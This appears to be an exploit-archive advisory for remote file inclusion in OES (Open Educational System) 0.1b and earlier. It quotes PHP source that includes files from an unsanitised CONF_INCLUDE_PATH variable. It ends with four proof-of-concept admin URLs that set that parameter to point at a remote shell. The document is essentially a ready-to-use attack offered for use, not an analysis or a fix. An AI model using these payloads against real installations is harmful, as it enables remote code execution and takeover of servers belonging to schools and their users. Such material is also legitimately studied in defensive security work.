#OES (Open Educational System) <= 0.1b (CONF_INCLUDE_PATH) Multiple RFI Exploit
##################################################################
#Author: cr4wl3r
#Download: http://openeducation.sourceforge.net/download.html
##################################################################
include_once ( $CONF_INCLUDE_PATH.'/lib-account.inc.php' );
include_once ( $CONF_INCLUDE_PATH.'/lib-mydb.inc.php');
$filelink = "./file.php?mode=load&nolimit=&file=modules/";
//$filelink.$category.'/'.$mod.'/'.$MODULES["ICON_FOLDER"].'/eyes.gif';
$temp_path = $PHP_SELF.$category.'/'.$mod;
// $PHP_SELF.'?category='.$category.'&mod='.implode('|',$modList).'&action='.$action;
switch ($action)
{
case 'post' :
// Create a modules template object
$myMod = new myModTmp( $MODULES["TEMPLATE_POST"], $SESS_CURRENT_LANG );
$myMod->isAdmin=true;
$myMod->getTemplate();
$myMod->debug=0;
// Dynamic assignment the template variable
$myMod->assign( 'MOD_URL_1', $URL_QUERY.'|'.$myMod->getLangVAR('LANG=ICON_NAME_1').'&action=post&posted=true' );
$myMod->assign( 'JAVA_IMAG', $filelink.$category.'/'.$mod.'/'.$MODULES["ICON_FOLDER"] );
$myMod->assign( 'FLASH_PATH', $temp_path.'/'.$MODULES["FLASH_FOLDER"] );
$myMod->assign( 'ENABLE', '1' );
$myMod->assign( 'PARENT', '1' );
$myMod->assign( 'POST_TIME', date('Y-m-d H:i:s'));
$myMod->assign( 'READNO', '0' );
$myMod->assign( 'REPLYNO', '0' );
GLOBAL $SESS_ADM_LOGIN_ID;
$myMod->assign( 'POSTBY', $SESS_ADM_LOGIN_ID );
##################################################################
PoC: [path]/admin/modules/modules/forum/admin.php?CONF_INCLUDE_PATH=[Shell]
[path]/admin/modules/modules/plotgraph/index.php?CONF_INCLUDE_PATH=[Shell]
[path]/admin/modules/user_account/admin_user/mod_admuser.php?CONF_INCLUDE_PATH=[Shell]
[path]/admin/modules/user_account/ogroup/mod_group.php?CONF_INCLUDE_PATH=[Shell]
##################################################################